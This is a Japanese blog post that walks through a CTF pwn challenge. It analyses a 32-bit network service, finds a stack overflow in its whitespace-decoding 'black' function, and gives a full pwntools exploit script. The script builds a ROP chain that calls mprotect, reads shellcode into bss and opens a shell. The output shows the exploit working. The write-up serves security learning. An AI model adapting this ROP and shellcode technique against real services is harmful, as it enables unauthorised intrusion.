mattun-martの日記

セキュリティとかCTFとか個人的なメモ.早く入門したい.

pwn challenges list easy bin_pwn_300

下調べ

mattun-mart@4ctf:~/Workspace/pwn/easy/bin_pwn_300$ file chal |sed -e "s/,/\n/g"
chal: ELF 32-bit LSB executable
 Intel 80386
 version 1 (SYSV)
 dynamically linked
 interpreter /lib/ld-linux.so.2
 for GNU/Linux 2.
mattun-mart@4ctf:~/Workspace/pwn/easy/bin_pwn_300$ checksec.sh --file chal
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   chal

NX有効.

解析

straceで実行すると,ポート32000で待ち受けているので接続する.

mattun-mart@4ctf:~$ nc localhost 32000
aaaa
aaaaaaaaa
a

よくわからないので解析する.
解析した結果ざっくりしたプログラムの流れは以下の通り.
1. recv関数で0x10文字受け取り,改行文字に終端文字列を挿入.
2. 入力のうち改行文字までの文字列と(white,black,bintendo64,46odnetnib,hex,hax)とそれぞれ比較.一致していれば一致した名前の関数を実行.
3. 関数の処理結果をsend関数で送信.

それぞれの関数の処理内容は以下のような感じ.

white

入力された文字の値を" "と"\t"に変換して表現.
ex. A → 41 →01000001 → "_\t_____\t"(スペースは_で表している)
1. 入力を受け取り.
2. 入力された文字列の1文字目の値の1bit目が1であれば"\t",0であれば" "をバッファに保存
3. 1文字目の値を1bit右シフト
4. 8bit分2,3の処理を繰り返した後に,対象文字を次の文字列へ

black

whiteの逆変換
1. 入力を受け取り.
2. 入力された文字列" "だったら0,"\t"だったら1をバッファに保存
3. 8bit分2の処理を繰り返し,結果をバッファに保存.
ただし,入力が0x200分あれば入力された文字列に対する処理が終わった後に再度入力を受け取り同じ処理を実施する.(最大10回可能)

bintendo64

入力された文字列をbase64エンコード

46odnetnib

入力されたbase64文字列をデコード

hex

pythonでいうord()

hax

pythonでいうchr()

どこにバグがあるかというとblack関数.
変換結果の保存先のバッファのアドレスがリターンアドレスの保存先に近いため,入力が多いと書き換えが可能.
その差は0x210.
一回でバッファに保存できるサイズは0x40(0x200/8)ので,9回目の入力の途中から書き換えが可能.

Exploit

このプログラムは文字列を読み込むための関数中でmprotect関数が使われているためNXを回避できる.
そのため,mprotect関数でどこかしらの領域を実行可能にしてシェルコードを実行すれば良い.
書き込めるサイズは0x70byte分と小さく,スタックにシェルコードを積むとサイズオーバーしてしまうので,bss領域にシェルコードを積んで実行する.
あとはpayloadを" "と"\t"の組み合わせの文字列に変換して送ってやればよい.(mprotectに指定するアドレスはページ境界なことに注意)

#!/usr/bin/env python
# -*- coding:utf-8 -*-

from pwn import *
#context. log_level = 'debug'


def conv_format(buf):
	result = ""

	for i in buf:
		code = ord(i)
		for j in range(8):
			if code<<j & 0x80:
				result += "\t"
			else:
				result += " "
	
	return result 


host = 'localhost'
port = 32000

conn = remote(host, port)
elf = ELF("./chal")

shellcode = asm(shellcraft.sh())	

recv_plt_addr = elf.plt['recv']
mprotect_plt_addr = elf.plt['mprotect']
send_plt_addr = elf.plt['send']
pop4ret = 0x080496a0
pop3ret = 0x080496a1
bss = 0x0804b000

# fast input
payload = "black\n" + "A" * 10
conn.send(payload)

# second input
# (black input)
payload = "A" * 0x210 # padding  

# mprotect(bss,0x1000,7)
payload += p32(mprotect_plt_addr)
payload += p32(pop3ret)
payload += p32(bss)
payload += p32(0x1000)
payload += p32(7)

# recv(4,bss+0x200,len(shellcode),0)
payload += p32(recv_plt_addr)
payload += p32(pop4ret)
payload += p32(4)
payload += p32(bss+ 0x200)
payload += p32(len(shellcode))
payload += p32(0)

# stored shellcode
payload += p32(bss + 0x200)
payload += "A" * (0x280 - len(payload))

conn.send(conv_format(payload))

conn.send(shellcode)
conn.interactive()

結果

mattun-mart@4ctf:~/Workspace/pwn/easy/bin_pwn_300$ python exploit.py 
[+] Opening connection to localhost on port 32000: Done
[*] '/home/mattun-mart/Workspace/pwn/easy/bin_pwn_300/chal'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] Switching to interactive mode
$ ls
chal
chal.i64
chal.id0
chal.id1
chal.id2
chal.nam
chal.til
dump
exploit.py
memo.c
peda-session-chal.txt